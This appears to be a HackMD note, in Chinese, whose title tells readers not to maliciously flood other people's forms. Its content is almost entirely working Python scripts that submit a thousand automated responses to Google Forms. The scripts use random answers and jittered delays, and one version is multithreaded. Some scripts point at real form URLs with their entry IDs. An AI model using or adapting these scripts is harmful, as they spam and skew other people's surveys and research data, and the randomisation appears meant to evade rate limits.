# **不要惡意去打別人的表單進而去影響別人** :a-1: 不要殘害別人小論文 ```py= import re import time import random import numpy as np import requests as rq url = '填入表單連結' params = ['這邊填欄位名稱'] payload = { 'entry.361687657' : '', 'fvv' : '1', 'draftResponse' : '[]', 'pageHistory' : '0', 'fbzx' : '1140157478353573082' } num = 1000 period = np.arange(0.5, 5.0, 0.1) delay = 0.1 while num > 0: try: payload['entry.361687657'] = random.choice(params) res = rq.post(url, data=payload) res.raise_for_status() if res.status_code == 200 : delay = round(random.choice(period), 2) print('Fill Out : ' 'f{num}' + payload['entry.361687657'] + ' delay : ' + str(delay) + ' sec') time.sleep(delay) except rq.HTTPError: print('HTTP Error!') num -= 1 ``` <!-- - 速度快 ```py= import re import time import random import numpy as np import requests as rq from concurrent.futures import ThreadPoolExecutor url = 'https://docs.google.com/forms/d/e/1FAIpQLSd3haC7-79blroBOJT5hY_9zRmZT13Qvgs8iMcKRjbIFaUIcg/formResponse' params = ['這邊填欄位名稱'] payload = { 'entry.361687657' : '', 'fvv' : '1', 'draftResponse' : '[]', 'pageHistory' : '0', 'fbzx' : '1140157478353573082' } num = 1000 period = np.arange(0.5, 1.0, 0.1) def make_request(payload): try: payload['entry.361687657'] = random.choice(params) res = rq.post(url, data=payload) res.raise_for_status() if res.status_code == 200: delay = round(random.choice(period), 2) print(f'Fill Out : {num} {payload["entry.361687657"]} delay : {delay} sec') time.sleep(delay) except rq.HTTPError: print('HTTP Error!') with ThreadPoolExecutor() as executor: for _ in range(num): executor.submit(make_request, payload.copy()) ``` ```python url = 'https://docs.google.com/forms/d/e/1FAIpQLSd1BcPflVqXHe2nRgIpBz5tjICiQAOB9hkRrNOauB6IaSacaw/formResponse' params = ['1'] payload = { 'entry.2088200504' : '', 'fvv' : '1', 'draftResponse' : '[]', 'pageHistory' : '0', 'fbzx' : '-5200713035074991835' } ``` ![image](https://hackmd.io/_uploads/Bk_FCRfC6.png) ```python= import re import time import random import numpy as np import requests as rq url = 'https://docs.google.com/forms/u/0/d/e/1FAIpQLSd1BcPflVqXHe2nRgIpBz5tjICiQAOB9hkRrNOauB6IaSacaw/formResponse' params = ['1'] payload = { 'entry.2088200504' : '', 'fvv' : '1', 'draftResponse' : '[]', 'pageHistory' : '0', 'fbzx' : '-4375217380663786269' } num = 1000 n= 1 period = np.arange(0.1, 0.2, 0.1) delay = 0.1 while num > 0: try: payload['entry.2088200504'] = random.choice(params) res = rq.post(url, data=payload) res.raise_for_status() if res.status_code == 200 : delay = round(random.choice(period), 2) print(f'Fill Out : {n} {payload["entry.2088200504"]} delay : {delay} sec') n=n+1 time.sleep(delay) except rq.HTTPError: print('HTTP Error!') num -= 1 ``` -->